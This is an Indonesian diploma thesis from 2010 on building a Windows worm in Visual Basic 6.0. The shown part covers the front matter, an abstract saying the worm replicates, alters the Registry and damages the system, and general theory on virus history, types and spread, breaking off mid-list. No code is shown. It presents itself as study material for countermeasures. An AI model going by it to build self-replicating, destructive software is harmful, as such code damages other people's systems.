Aplikasi Virus Worm Pada Sistem Operasi Windows Menggunakan Visual Basic 6.0
APLIKASI VIRUS WORM PADA SISTEM OPERASI WINDOWS
MENGGUNAKAN VISUAL BASIC 6.0
TUGAS AKHIR
SHOFIAH WARTIKA HUTASUHUT
072406115
PROGRAM STUDI D3 ILMU KOMPUTER
DEPARTEMEN MATEMATIKA
FAKULTAS MATEMATIKA DAN ILMU PENGETAHUAN ALAM
UNIVERSITAS SUMATERA UTARA
MEDAN
2010
(2)
APLIKASI VIRUS WORM PADA SISTEM OPERASI WINDOWS
MENGGUNAKAN VISUAL BASIC 6.0
TUGAS AKHIR
Diajukan untuk melengkapi tugas dan memenuhi syarat mencapai Ahli Madya
SHOFIAH WARTIKA HUTASUHUT
072406115
PROGRAM STUDI D3 ILMU KOMPUTER
DEPARTEMEN MATEMATIKA
FAKULTAS MATEMATIKA DAN ILMU PENGETAHUAN ALAM
UNIVERSITAS SUMATERA UTARA
MEDAN
2010
(3)
PERSETUJUAN
Judul : APLIKASI VIRUS WORM PADA SISTEM
OPERASI WINDOWS MENGGUNAKAN VISUAL BASIC 6.0
Kategori : TUGAS AKHIR
Nama : SHOFIAH WARTIKA HUTASUHUT Nomor Induk Mahasiswa : 072406115
Program Studi : D-3 ILMU KOMPUTER Departemen : MATEMATIKA
Fakultas : MATEMATIKA DAN ILMU PENGETAHUAN ALAM (FMIPA) UNIVERSITAS SUMATERA UTARA
Diluluskan di Medan, Juni 2010
(4)
PERNYATAAN
APLIKASI VIRUS WORM PADA SISTEM OPERASI WINDOWS MENGGUNAKAN VISUAL BASIC 6.0
TUGAS AKHIR
Saya mengakui bahwa tugas akhir ini adalah hasil kerja saya sendiri, kecuali beberapa kutipan dan ringkasan yang masing-masing disebutkan sumbernya.
Medan, Juni 2010
SHOFIAH WARTIKA HUTASUHUT 072406115
(5)
PENGHARGAAN
Puji dan syukur penulis panjatkan kepada Allah SWT atas limpahan rahmat dan hidayah-Nya sehingga tugas akhir ini dapat diselesaikan dengan baik dan dalam waktu yang telah ditetapkan.
Tugas akhir ini merupakan syarat untuk dapat menyelesaikan pendidikan di program studi D3 Ilmu Komputer Fakultas Matematika dan Ilmu Pengetahuan Alam di Universitas Sumatera Utara.
Pada kesempatan ini penulis juga menyampaikan terima kasih yang sebesar-besarnya kepada seluruh pihak yang sudah banyak membantu:
1. Bapak Dr. Eddy Marlianto, M.Sc, selaku Dekan Fakultas Matematika dan Ilmu Pengetahuan Alam di Universitas Sumatera Utara.
2. Bapak Dr. Saib Suwilo, M.Sc, selaku Ketua Departemen Matematika di Universitas Sumatera Utara.
3. Ibu Dra. Mardiningsih M.Si, selaku Ketua Program Studi D3 Ilmu Komputer di Universitas Sumatera Utara.
4. Bapak Drs. Bambang Irawan, M.Sc, selaku Dosen Pembimbing yang telah memberikan saran bimbingan sehingga penulis dapat menyelesaikan Tugas Akhir ini.
5. Ke dua orang tua tercinta yang telah memberikan seluruh rasa kasih dan sayang kepada semua anak-anaknya, terutama kepada penulis agar dapat menyelesaikan Tugas Akhir ini.
6. Adik-adik tercinta yang selalu mewarnai hidup penulis setiap harinya dengan celotehan-celotehan yang membuat penulis merasa dibutuhkan sebagai Kakak. 7. Terkhusus kepada Riadi Syafutra Siregar yang telah memberikan waktu,
tenaga serta perhatiannya. Terima kasih atas inspirasi dan motifasi yang penulis terima.
8. Seluruh teman-teman yang penulis sayangi, dan rekan-rekan di D3 Ilmu Komputer FMIPA USU, terimakasih atas kritik dan sarannya. Semoga tugas akhir ini dapat berguna. Terima kasih.
(6)
ABSTRAK
Pada penulisan Tugas Akhir ini, penulis membuat virus Worm. Virus merupakan suatu program komputer yang menduplikasikan atau menggandakan diri dengan menyisipkan salinan dirinya ke dalam media penyimpanan atau dokumen serta ke dalam jaringan secara diam-diam.
Metode dan perancangan virus ini menggunakan aplikasi perangkat lunak Visual Basic 6.0 sebagai bahasa pemrogramannya. Cara kerja virus Worm yang dibuat adalah melakukan fungsi-fungsi pada Form Load, penggandaan ke sistem, mengubah pengaturan Registry dan merusak sistem.
Hasil rancangan dari virus Worm ini dapat mengetahui cara kerja virus tersebut pada sistem Windows. Kajian ini dibuat bertujuan untuk menambah wawasan mengenai cara membuat sebuah virus.
(7)
DAFTAR ISI
Halaman
Persetujuan ii
Pernyataan iii
Penghargaan iv
Abstrak v
Daftar Isi vi
Daftar Gambar viii
Daftar Tabel ix
Bab 1 Pendahuluan
1.1Latar Belakang 1
1.2Identifikasi Masalah 2
1.3Pembatasan Masalah 3
1.4Perumusan Masalah 4
1.5Maksud dan Tujuan Penulisan 4
1.6Sistematika Penulisan 5
Bab 2 Landasan Teori
2.1 Komputer dan Sistem Komputer 6
2.1.1 Aspek Dasar Sistem Komputerisasi 7
2.2 Microsoft Visual Basic 6.0 9
2.3 Definisi Virus Komputer 11
2.3.1 Sejarah Virus Komputer 12
2.3.2 Klasifikasi Virus Komputer 14
2.3.3 Elemen Fungsional Virus Komputer 15
2.4 Cara Kerja Virus Komputer 16
2.4.1 Gambaran Fisik Virus Komputer 16
2.4.2 Cara Kerja Umum Berbagai Jenis Virus Komputer 17
2.5 Penyebaran Virus Komputer 19
2.5.1 Cara Penyebaran Virus Komputer 19
2.5.2 Faktor-Faktor Yang Mempengaruhi Penyebaran Virus Komputer 20
Bab 3 Perancangan Sistem
3.1 Gambaran Umum Virus Worm 22
3.2 Tahap Perancangan 22
3.2.1 Flowchart 23
3.2.2 Struktur Perancangan 24
3.2.3 Pembuatan Form Load 25
3.2.4 Pembuatan Kode Program Pada Form Load 28
3.2.5 Pembuatan Modul 28
(8)
Bab 4 Implementasi Sistem
4.1 Implementasi Sistem 30
4.2 Komponen Utama Dalam Implementasi Sistem 30
4.3 Tujuan Implementasi Sistem 31
4.4 Tahap Implementasi Sistem 32
4.4.1 Cara Kerja Virus Worm 32
4.4.2 Teknik Penyebaran 35
4.4.3 Rekayasa Teknik Penyebaran 36
4.4.4 Hasil Infeksi Virus Worm 36
4.4.5 Tampilan Infeksi Virus Worm 37
4.5 Cara Penanggulangan 39
Bab 5 Kesimpulan dan Saran
5.1 Kesimpulan 40
5.2 Saran 40
DAFTAR PUSTAKA
LAMPIRAN A LAMPIRAN B
(9)
DAFTAR GAMBAR
Halaman Gambar 2.1 Tampilan Virus Creation Laboratory (VCL) 13
Gambar 2.2 Klasifikasi harmful program 15
Gambar 2.3 Gambaran fisik virus computer 16
Gambar 3.1 Flowchart Rancangan Virus Worm 23
Gambar 3.2 Struktur Diagram Virus Worm 24
Gambar 3.3 Tampilan Awal Visual Basic 6.0 25
Gambar 3.4 Tampilan Jendela Program 25
Gambar 3.5 Pengaturan BorderStyle 26
Gambar 3.6 Penambahan Objek ListBox 26
Gambar 3.7 Penambahan Objek TextBox 27
Gambar 3.8 Penambahan 4 (empat) Buah Objek Timer 27
Gambar 3.9 Pembuatan Kode Form Load 28
Gambar 3.10 Modul 1 29
Gambar 4.1 Tampilan Form Load Design 36
Gambar 4.2 Salah Satu Tampilan Worm Setelah Dijalankan 37
(10)
DAFTAR TABEL
Halaman
Tabel 3.1 Pilihan Tabulasi Kotak Dialog New Project 26
Tabel 3.2 Objek Properties 28
(11)
ABSTRAK
Pada penulisan Tugas Akhir ini, penulis membuat virus Worm. Virus merupakan suatu program komputer yang menduplikasikan atau menggandakan diri dengan menyisipkan salinan dirinya ke dalam media penyimpanan atau dokumen serta ke dalam jaringan secara diam-diam.
Metode dan perancangan virus ini menggunakan aplikasi perangkat lunak Visual Basic 6.0 sebagai bahasa pemrogramannya. Cara kerja virus Worm yang dibuat adalah melakukan fungsi-fungsi pada Form Load, penggandaan ke sistem, mengubah pengaturan Registry dan merusak sistem.
Hasil rancangan dari virus Worm ini dapat mengetahui cara kerja virus tersebut pada sistem Windows. Kajian ini dibuat bertujuan untuk menambah wawasan mengenai cara membuat sebuah virus.
(12)
BAB 1
PENDAHULUAN
1.1 Latar Belakang
Pada saat ini, manfaat komputer sudah dirasakan oleh banyak orang. Komputer pada umumnya digunakan untuk membantu aktifitas manusia. Misalnya, membuat berbagai laporan, presentasi, membuat chart dan diagram, membuat berbagai animasi, berkomunikasi, pertukaran data, dan sebagainya.
Saat ini, istilah virus komputer memang tidak asing lagi bagi kalangan pengguna komputer. Pada tahun 1988, muncul artikel-artikel di media massa yang dengan gencar memberitakan mengenai ancaman baru bagi para pemakai komputer yang kemudian dikenal dengan sebutan “virus komputer”.
Virus dibuat oleh seseorang dengan tujuan yang bermacam-macam, pada awalnya pembuat virus membuat sebuah virus dengan tujuan untuk memberikan sistem keamanan terhadap komputer yang dimilikinya oleh orang-orang yang tidak berhak menggunakan komputer tersebut. Tetapi, pada saat sekarang ini, para pembuat virus ingin mengejar popularitas dan kesenangan semata. Di sisi lain, apabila seseorang membuat virus bukan dengan tujuan itu lagi, maka tentu saja tujuannya adalah merusak dan mengacaukan sistem komputer yang ditularinya.
(13)
Seiring dengan pesatnya perkembangan penggunaan komputer sebagai alat bantu manusia di berbagai bidang kehidupan, virus komputer merupakan ancaman bagi keamanan sistem komputer yang sudah tidak asing lagi. Virus komputer sebagai salah satu jenis infeksi elektronik, dapat menyebabkan kerusakan pada sistem komputer yang diserangnya. Namun sering kali kebanyakan orang masih awam mengenai penggolongan dari tipe-tipe infeksi elektronik seperti virus Worm dan dampak yang ditimbulkan.
Berdasarkan pertimbangan tersebut penulis tertarik untuk membuat sebuah virus Worm dengan tujuan apabila mengetahui semua hal mengenai virus itu sendiri, maka akan lebih mudah untuk mengantisipasi dampak virus tersebut. Dengan memilih judul: “APLIKASI VIRUS WORM PADA SISTEM OPERASI WINDOWS
MENGGUNAKAN VISUAL BASIC 6.0”.
1.2 Identifikasi Masalah
Jaringan komputer dewasa ini lebih mudah terhubung satu sama lain dibandingkan sebelumnya. Peningkatan jumlah hubungan dalam sistem komunikasi memungkinkan Worm untuk dapat menyebar dengan sangat cepat dan bahkan menyerang target dengan jumlah yang sangat besar. Pada awalnya kecepatan penyebaran berbagai jenis virus komputer cenderung lebih lambat, karena tergantung pada perilaku pengguna atau kecepatan pertukaran data yang dilakukan pengguna baik melalui email, file
(14)
Kemudahan pemrograman dalam sistem operasi Windows telah membuat proses pembuatan virus komputer menjadi suatu hal yang cukup mudah. Sebelumnya, tidak ada orang yang pernah memperkirakan bahwa aplikasi seperti Microsoft Word dan Excel dapat menjadi salah satu media penyebaran yang sangat sukses bagi virus komputer seperti Worm.
Menyadari besarnya resiko dan banyaknya tingkat kesulitan yang akan dihadapi dalam pembuatan virus Worm ini, untuk menghindari kerancuan dalam pembahasan masalah dan mengingat keterbatasan pengetahuan penulis, maka penulis hanya akan membahas tentang bagaimana membuat sebuah virus Worm, mengetahui cara kerja dari virus Worm dan cara mengatasinya berdasarkan pengetahuan yang diperoleh dan diharapkan dapat dipergunakan oleh masyarakat luas khususnya bagi Mahasiswa ataupun orang-orang yang bergelut di bidang komputer sebagai bahan pembelajaran mengenai virus sehingga lebih mudah dalam mencari solusi untuk mengantisipasinya.
1.3 Pembatasan Masalah
Untuk menghindari terjadinya penyimpangan dalam pembahasan, penulis membatasi permasalahan yang akan dibahas, antara lain:
a. Virus Worm ini hanya dipergunakan sebagai bahan pembelajaran dan penelitian mengenai dampaknya pada sistem operasi Windows dan cara mengatasinya.
b. Adapun yang akan disampaikan dalam pembuatan virus Worm ini, yaitu: 1. Definisi dan sejarah virus komputer.
(15)
3. Cara pembuatan dan cara kerja dari virus Worm.
4. Cara penyebaran, faktor-faktor yang mempengaruhi penyebarannya dan cara penanggulangannya.
1.4 Perumusan Masalah
Berdasarkan judul yang diambil dan latar belakang yang telah diuraikan sebelumnya, permasalahan yang muncul dalam perancangan dan pembuatan virus Worm ini adalah “Bagaimana dapat mengetahui cara kerja virus Worm dengan menggunakan Visual Basic 6.0”.
1.5 Maksud dan Tujuan Penulisan
Adapun maksud dari perancangan dan pembuatan virus Worm ini adalah untuk mengetahui lebih jauh lagi tentang cara kerja dan penyebaran virus Worm pada sistem operasi Windows.
Adapun tujuan dari perancangan dan pembuatan virus Worm ini antara lain: a. Untuk memenuhi salah satu syarat menyelesaikan perkuliahan di Program Studi D3
Ilmu Komputer FMIPA USU.
b. Untuk mempelajari dan meneliti lebih jauh mengenai cara kerja, dampak yang ditimbulkan oleh virus Worm dan cara penanggulangannya pada sistem operasi Windows.
(16)
1.6 Sistematika Penulisan
Dalam penulisan ini, penulis membentuk suatu sistematika penulisan yang bertujuan untuk menggambarkan secara ringkas seluruh isi bab yang mencakup hal-hal sebagai berikut:
BAB 1 : PENDAHULUAN
Bab ini menguraikan Latar Belakang, Identifikasi Masalah, Pembatasan Masalah, Perumusan Masalah, Maksud dan Tujuan Penulisan dan Sistematika Penulisan.
BAB2 : LANDASAN TEORI
Bab ini menguraikan tentang Komputer dan Sistem Komputer, Microsoft Visual Basic 6.0, Definisi Virus Komputer, Cara Kerja Virus Komputer, Penyebaran Virus Komputer.
BAB 3 : PERANCANGAN SISTEM
Bab ini menguraikan tentang Gambaran Umum Virus Worm, Tahap Perancangan.
BAB 4 : IMPLEMENTASI SISTEM
Bab ini menguraikan tentang Tahap Implementasi Sistem, Komponen Utama Dalam Implementasi Sistem, Tujuan Implementasi Sistem, Tahap Implementasi Sistem dan Cara Penanggulangan.
BAB 5 : KESIMPULAN DAN SARAN
(17)
BAB 2
LANDASAN TEORI
2.1 Komputer dan Sistem Komputer
Saat ini, komputer telah menjadi alat yang memiliki fungsi yang luas dan kemampuan yang hebat. Banyak pekerjaan yang dapat dilakukan dengan bantuan komputer. Mulai dari pengolahan data, penyimpanan data, pembuatan grafik atau tabel, pemecahan perhitungan-perhitungan yang rumit serta pengontrolan peralatan-peralatan elektronik dan mekanik lainnya.
Komputer merupakan alat pengolahan data yang terdiri dari serangkaian komponen (Hardware) yang bekerja secara elektronik di bawah pengendalian
Operating System (Software), melaksanakan instruksi-instruksi (By Program),
mempunyai kapasitas memory (RAM dan ROM) dan tempat penyimpanan (Internal
Storage) serta dapat dihubungkan dengan peralatan-peralatan lain yang bekerja secara
elektronik dengan kecepatan dan ketelitian yang tinggi dan mampu mengerjakan berbagai macam proses dengan keterlibatan manusia yang minimum pada saat komputer tersebut menjalankan proses pengolahan data. Komputer disebut juga sebagai suatu sistem karena terdiri dari unsur-unsur yang tidak dapat dipisahkan satu sama lain dan merupakan satu kesatuan (Darwin Sitompul , 1994).
(18)
Sistem komputer adalah sekumpulan komponen yang bekerja sama secara sistematis dan terpadu dalam pengolahan data dengan kecepatan dan ketelitian yang sangat tinggi dengan maksud dan tujuan tertentu (Darwin Sitompul, 1994).
Sistem komputerisasi adalah segala macam pengolahan terhadap data dengan segala kemampuan yang ada pada komputer seperti kecepatan dan ketelitian yang sangat tinggi juga kemampuan menyimpan data, sehingga mesin tersebut dapat melakukan segala macam proses secara berkelanjutan tanpa banyak menguras tenaga manusia (Darwin Sitompul, 1994).
2.1.1 Aspek Dasar Sistem Komputerisasi
Aspek dasar sistem komputerisasi terdiri dari fasilitas-fasilitas yang harus ada apabila suatu usaha telah memasuki langkah menggunakan peralatan komputer sebagai alat bantu dalam pengolahan data atau pengolahan informasi. Adapun aspek dasar sistem komputerisasi tersebut adalah sebagai berikut:
1. Aspek Teknis
a. Hardware (Perangkat Keras)
Hardware (Perangkat Keras) adalah komponen-komponen yang membentuk
suatu sistem komputer yang berhubungan dengan komponen lainnya, sehingga memungkinkan komputer melakukan tugasnya. Perangkat keras tersebut terdiri dari perangkat masukan (input device), perangkat pengolahan (processor) dan perangkat keluaran (output device) (Tri Amperiyanto, 2008).
(19)
b. Software (Perangkat Lunak)
Software (Perangkat Lunak) adalah seluruh fasilitas dari suatu sistem
pengolahan data yang bukan merupakan peralatan komputernya tetapi merupakan suatu susunan instruksi yang harus diberikan kepada unit pengolahan agar komputer dapat menjalankan tugasnya (Tri Amperiyanto, 2008).
c. Brainware (Perangkat Manusia)
Brainware (Perangkat Manusia) adalah faktor manusia yang memiliki latar
belakang pendidikan teknis komputer yang dapat menangani pengolahan komputer maupun pengembangannya yang dibedakan menurut kemampuan dan keahlian (Tri Amperiyanto, 2008).
Ke tiga komponen tersebut harus saling berhubungan dan membentuk suatu kesatuan yang saling mendukung satu sama lain. Hardware tanpa adanya Software hanya berupa benda mati saja karena Software yang akan mengoperasikan Hardware dan tidak dapat berfungsi tanpa adanya peran manusia (Brainware) sebagai user yang mengoperasikannya.
2. Aspek Non-Teknis
Dukungan manajemen merupakan aspek non-teknis karena pada umumnya suatu sistem komput erisasi yang dilaksanakan dalam suatu organisasi atau badan usaha berguna untuk pengolahan informasi bagi kepentingan manajemen dalam rangka pengambilan keputusan.
(20)
2.2 Microsoft Visual Basic 6.0
Microsoft Visual Basic adalah bahasa pemrograman yang memungkinkan pemakainya untuk membuat suatu aplikasi dalam Microsoft Windows dengan menggunakan metode GUI (Graphical User Interface). Visual Basic dibuat sebagai langkah pengembangan untuk menyesuaikan Basic (Beginners All-purpose Symbolic
Instruction Code) yang berbasis DOS yang tidak mempunyai kemampuan
menggunakan metode GUI dalam basis Windows.
Visual Basic merupakan program yang berbasis Windows yang mempunyai kemampuan utnuk berinteraksi dengan seluruh aplikasi Windows seperti Microsoft Word, Microsoft Excel, Microsoft Access. Visual Basic juga menjadi salah satu bahasa pemrograman yang wajib dipelajari oleh berbagai kalangan di dunia komputer.
Visual Basic 6.0 mempunyai kemampuan yang lebih baik dari versi-versi sebelumnya. Mulai dari desktop, client-server, sampai Database yang mampu menjangkau antarnegara lewat internet dapat disusun secara mudah dan menyenangkan dengan menggunakan bahasa pemrograman Visual Basic. Berikut adalah beberapa komponen dalam lingkungan Visual Basic 6.0.
1. Menu Bar
Menu bar berfungsi untuk memilih tugas-tugas tertentu seperti memulai, membuka, dan menyimpan project, mengompilasi project menjadi file executable (EXE) dan lain-lain.
(21)
2. Main Toolbar
Toolbar memiliki fungsi yang sama seperti menu bar dan juga berfungsi seperti jalan pintas karena lebih praktis dalam penggunaannya.
3. Jendela ToolBox (ToolBox Standard)
ToolBox Standard berisi komponen-komponen yang merupakan sarana untuk
membentuk user interface. Lihat pada Gambar 2.2. 4. Jendela Form Designer
Jendela ini merupakan tempat untuk merancang user interface (tampilan program). Di sinilah para programmer bisa meletakkan kontrol-kontrol yang dibutuhkan. 5. Jendela Project
Jendela Project adalah jendela yang menampilkan semua file yang berhubungan dengan aplikasi atau project yang saat itu sedang dijalankan.
6. Jendela Properties
Jendela ini berisi daftar properti untuk objek (form atau kontrol) yang dipilih dan berfungsi untuk mengatur karakteristik seperti warna, ukuran dan lain-lain.
7. Jendela Form Layout
Jendela ini akan menunjukkan tampilan form pada saat dijalankan. 8. Jendela Kode
Jendela ini merupakan tempat untuk menuliskan kode-kode bagi objek yang dibuat dan mengatur karakteristik dari form yang akan dibuat.
9. Jendela Modul
Jendela modul merupakan tempat untuk menuliskan kode-kode yang lebih bersifat global dan tempat untuk mendeklarasikan variabel dan fungsi dengan awalan
(22)
2.3 Definisi Virus Komputer
Virus komputer merupakan suatu program komputer yang menduplikasikan atau menggandakan diri dengan menyisipkan salinan dirinya ke dalam media penyimpanan atau dokumen serta ke dalam jaringan secara diam-diam tanpa sepengetahuan pengguna komputer tersebut. Efek dari virus komputer sangat beragam mulai dari hanya muncul pesan-pesan aneh hingga merusak komputer serta menghapus file atau dokumen. Untuk lebih jelas, berikut akan dibahas mengenai definisi virus komputer, sejarah virus komputer, klasifikasi virus komputer, elemen fungsional virus komputer, cara kerja virus komputer dan cara penyebaran virus computer (Team Cyber, 2009).
Istilah virus komputer pertama kali digunakan oleh Fred Cohen dalam papernya yang berjudul “Computer Viruses–Theory and Experiments” pada tahun 1984. Menurutnya virus komputer itu sendiri bersesuaian dengan sifat dasarnya, yaitu: mempunyai kemampuan untuk menjangkiti (menginfeksi) program lain dan menyebar. Pada dasarnya, penggunaan istilah virus dikarenakan adanya kesamaan dalam hal sifat antara virus komputer dengan virus yang dikenal dalam dunia fisik. Di mana ke duanya memiliki 2 (dua) tujuan yaitu: untuk bertahan hidup dan bereproduksi.
Pada dasarnya virus komputer dapat diklasifikasikan menjadi 2 (dua) tipe. Tipe virus komputer yang pertama adalah dibuat untuk tujuan penelitian atau studi dan tidak dipublikasikan. Sedangkan tipe ke dua adalah virus komputer yang membahayakan sistem komputer yang pada umumnya sering disebut dengan istilah virus “in the wild” (Leo Hendrawan, 2004).
(23)
2.3.1 Sejarah Virus Komputer
Selain membahas definisi dari virus komputer, penulis juga akan membahas mengenai sejarah virus komputer itu sendiri. Berikut adalah sekilas mengenai sejarah virus komputer yang berkembang dari tahun ke tahun:
1. Perkembangan virus komputer pada tahun 1980-1989
Pada tahun 1981 Virus “in the wild” adalah yang pertama kali ditemukan. Virus yang bernama “Elk Cloner” ini menyebar melalui floppy disk pada komputer Apple II. Tahun 1986, Basit dan Amjad, menciptakan sebuah boot sector virus bernama Brain. Brain sering kali disebut sebagai virus komputer pertama di dunia.
Selanjutnya pada tahun 1987 Virus file infector seperti Leigh mulai bermunculan dan virus penyerang file-file EXE pertama, Suriv 01 dan 02 serta Jerusalem. Tahun 1988 adalah tahun didirikannya CERT (Computer Emergency
Response Team) oleh DARPA dengan tujuan mengatasi serangan Worm yang
diciptakan oleh Robert Morris dan pada tahun 1989, AIDS Trojan muncul dengan menggunakan samaran sebagai AIDS information program. Ketika dijalankan ia akan mengenkripsi hard drive dan meminta pembayaran untuk kunci dekripsinya.
2. Perkembangan virus komputer pada tahun 1990-2000
Pada tahun 1992, muncullah beberapa tool yang dapat digunakan untuk menciptakan virus seperti Dark Avenger Mutation Engine (DAME) yang dapat mengubah virus apa pun menjadi virus polymorphic, dan Virus Creation Laboratory (VCL) yang merupakan kit pertama menciptakan virus.
(24)
Gambar 2.1 Tampilan Virus Creation Laboratory (VCL)
Selanjutnya pada tahun 1995, para hacker dengan nama “Internet Liberation
Front” melakukan banyak serangan pada hari Thanksgiving. Beberapa badan yang
menjadi korban serangan ini adalah Griffith Air Force Base, Korean Atomic Research Institute, NASA, GE, IBM dan lain-lain. Virus macro pertama yang menyerang aplikasi Microsoft Word pun dikembangkan.
Kemudian pada tahun 1996, virus Laroux, virus penyerang Microsoft Excel pertama dan virus Staog, virus Linux pertama muncul. Tahun 1999 muncul virus Melissa yang merupakan kombinasi antara virus macro yang menyerang aplikasi Microsoft Word. Kemudian pada tahun 2000, serangan Distributed Denial of Service (DDoS) pertama membuat kerusakan pada situs-situs besar seperti Yahoo!, Amazon.com, dan lain-lain. Virus Love Letter merupakan Worm dengan kecepatan menyebar tertinggi pada saat itu yang menyebabkan kerusakan pada banyak sistem
email di seluruh dunia.
Pada tahun 2001, Gnuman (Mandragore) merupakan Worm pertama yang menyerang jaringan komunikasi peer to peer. Worm ini menyamarkan diri dalam bentuk file MP3 yang dapat didownload. Tahun 2002, Donut merupakan Worm pertama yang menyerang .NET services. SQL Spider merupakan Worm yang menyerang aplikasi yang menggunakan teknologi Microsoft SQL Server.
(25)
2.3.2 Klasifikasi Virus Komputer
Virus komputer dan program lain yang membahayakan sistem komputer dapat diklasifikasikan ke dalam beberapa kelompok menurut cara mereka untuk menjangkiti
(infect) sebuah sistem komputer, bagian dari sistem komputer yang mereka jangkiti
atau kelakuan (behaviour) yang dimiliki oleh mereka. Namun pada dasarnya definisi dan klasifikasi mengenai kode-kode program berbahaya ini masih rancu dan menjadi kontroversi bagi banyak orang bahkan bagi orang yang memang mendalami bidang komputer.
Berikut adalah contoh klasifikasi dari berbagai jenis harmful program:
1. Malware (Malicious Software): merujuk pada program yang dibuat dengan tujuan membahayakan atau menyerang sebuah sistem komputer. Terdiri atas virus komputer (computer viruses), Worms, Trojan Horses dan lain-lain.
a. Computer Virus: merujuk pada program yang memiliki kemampuan untuk bereplikasi dengan sendirinya.
b. Computer Worm: merujuk pada program Independen yang memiliki kemampuan untuk bereplikasi dengan sendirinya, di mana Worm tidak memiliki host program untuk ditumpangi.
c. Trojan Horse: merujuk pada program independen yang dapat mempunyai fungsi yang tampaknya berguna dan ketika dieksekusi, tanpa sepengetahuan pengguna, juga melaksanakan fungsi-fungsi yang bersifat destruktif.
(26)
2. Malicious toolkits: merujuk pada program yang didesain untuk membantu menciptakan program yang dapat membahyakan sistem komputer. Contohnya adalah tool pembuat virus dan program yang dibuat untuk membantu proses
hacking.
3. Joke program: merujuk pada program yang meniru operasi-operasi yang dapat membahayakan sistem komputer, namun sebenarnya dibuat untuk tujuan lelucon dan tidak mengandung operasi berbahaya apapun.
Gambar 2.2 Klasifikasi harmful program
2.3.3 Elemen Fungsional Virus Komputer
Setiap virus komputer yang aktif, pada dasarnya harus terdiri atas 2 (dua) buah bagian dasar atau subroutine, yaitu:
1. Search routine: berfungsi menemukan file atau lokasi baru yang akan dijadikan target berikutnya untuk diserang dan juga menentukan cara virus bereproduksi secara cepat atau lambat serta menyerang sebagian atau seluruh bagian dari target. Namun sebagaimana ukuran dan fungsionalitas yang dimiliki setiap program, virus memiliki search routine yang rumit, sehingga akan dibutuhkan ruang yang lebih besar.
(27)
2. Copy routine: bagian ini berfungsi untuk menyalin dirinya sendiri pada area yang telah ditentuka n oleh search routine. Ukuran dari bagian ini bergantung pada kompleksitas dari virus tersebut.
2.4 Cara Kerja Virus Komputer
Dalam melakukan proses replikasi sebuah virus memodifikasi program lain sehingga virus tersebut menjadi bagian dari program tersebut. Sehingga setiap kali program tersebut dieksekusi, virus akan dieksekusi pula dan menyerang program lain.
2.4.1 Gambaran Fisik Virus Komputer
Untuk mengetahui lebih jelas mengenai gambaran fisik dari suatu virus komputer, berikut ini disajikan gambar fisik dari suatu virus komputer.
Gambar 2.3 Gambaran fisik virus komputer
Tampak pada gambar di atas 3 (tiga) jenis virus komputer yaitu:
1. Overwriting viruses: virus ini menjadi bagian dari program host dengan “menimpa” (menggantikan) bagian awal dari program tersebut, sehingga program
host tidak akan mengalami perubahan ukuran, namun mengalami kerusakan dan
(28)
2. Prepending viruses: virus bereplikasi dengan menjadi bagian awal dari program
host sehingga ketika program host dieksekusi, sebelumnya program host virus
akan terlebih dahulu dieksekusi. Keberadaan virus tidak menyebabkan kerusakan fungsional pada program namun akan memperbesar ukuran program.
3. Appending viruses: virus bereplikasi dengan menjadi bagian akhir dari program
host tanpa mengubah isi dari program host. Namun pada bagian awal program
yang telah terinfeksi diberikan mekanisme agar ketika program dieksekusi, virus akan dieksekusi terlebih dahulu.
2.4.2 Cara Kerja Umum Berbagai Jenis Virus Komputer
Berikut ini adalah penjelasan mengenai cara kerja umum berbagai jenis virus computer (Leo Hendrawan, 2004).
1. File infector virus: memiliki kemampuan untuk melekatkan diri (attach) pada sebuah file, biasanya merupakan file executable. Pada umumnya virus jenis ini tidak menyerang file data. Namun dewasa ini, sebuah file data atau dokumen lainnya dapat mengandung kode executable yang dapat dieksploitasi oleh pencipta virus komputer seperti Worms atau Trojan Horse.
2. Boot sector virus: memodifikasi program yang berada di dalam boot sector. Pada umumnya, sebuah boot sector virus akan terlebih dahulu mengeksekusi dirinya sendiri sebelum proses bootup pada PC, sehingga seluruh floppy disk yang digunakan pada PC tersebut akan terjangkiti pula.
3. Multipartite virus: memiliki fitur dari kedua jenis virus di atas. Ketika sebuah file yang terinfeksi oleh virus jenis ini dieksekusi, virus akan menjangkiti boot sector dari hard disk atau partition sector dari komputer tersebut.
(29)
4. Virus Macro: menjangkiti program macro dari sebuah file data atau dokumen, sehingga dokumen berikutnya yang diedit oleh program aplikasi tersebut akan terinfeksi pula oleh macro yang telah terinfeksi sebelumnya.
5. Virus Stealth: virus ini bekerja secara residensial (menetap) di dalam memori dan menyembunyikan perubahan yang telah dilakukannya terhadap file yang dijangkiti. Hal ini dilakukan dengan mengambil alih fungsi sistem ketika terjadi proses pembacaan. Jika program lain meminta informasi, maka virus akan memberikan informasi yang sesuai dengan keadaan sebelum terjangkiti virus, sehingga seolah-olah sistem berfungsi dalam keadaan baik.
6. Virus Polymorphic: virus yang melakukan perubahan di dalam kodenya setiap kali mengalami proses replikasi sehingga sulit untuk dideteksi oleh antivirus software. 7. Virus Tunneling: virus ini mengambil alih interrupt handlers pada DOS dan
BIOS, kemudian menginstall dirinya di bawah program lainnya, sehingga virus dapat menghindari hadangan dari program antivirus sejenis Monitors.
8. Fast Infectors Virus: Virus jenis ini tidak hanya menyerang ketika program target dieksekusi, melainkan juga ketika diakses. Hal ini bertujuan untuk menumpangi perangkat antivirus sebagai media penyebaran ketika melakukan pengecekan terhadap file-file di dalam komput er.
9. Slow Infectors Virus: merupakan kebalikan dari fast infectors, di mana virus hanya akan menyebar ketika file-file target diciptakan atau dimodifikasi. Hal ini bertujuan untuk memperdaya antivirus sejenis integrity checkers dengan menumpangi proses untuk mengubah sebuah file.
10. Armoured virus: merupakan virus yang dibuat sedemikian rupa sehingga sulit untuk peneliti antivirus dalam mempelajari cara mereka bekerja.
(30)
2.5 Penyebaran Virus Komputer
Virus dapat menyebar dan menjangkiti komputer dengan berbagai cara penyebaran. Berikut akan dibahas mengenai berbagai cara penyebaran dari virus komputer dan faktor-faktor yang mempengaruhi penyebaran virus komputer.
2.5.1 Cara Penyebaran Virus Komputer
Berikut adalah cara penyebaran virus komputer yang umum pada saat ini. 1. Boot Sector Virus
Sebuah PC terinfeksi oleh boot sector virus jika PC tersebut di boot atau di re-boot dari floppy disk yang telah terinfeksi oleh virus. Boot sector virus cenderung tidak menyebar melalui jaringan komputer dan biasanya menyebar akibat ketidaksengajaan penggunaan floppy disk yang telah terinfeksi.
2. File virus
Virus ini menginfeksi file lain ketika program yang telah terinfeksi olehnya dieksekusi. Oleh sebab itu virus jenis ini dapat menyebar melalui jaringan komputer dengan sangat cepat.
3. Multiparte virus
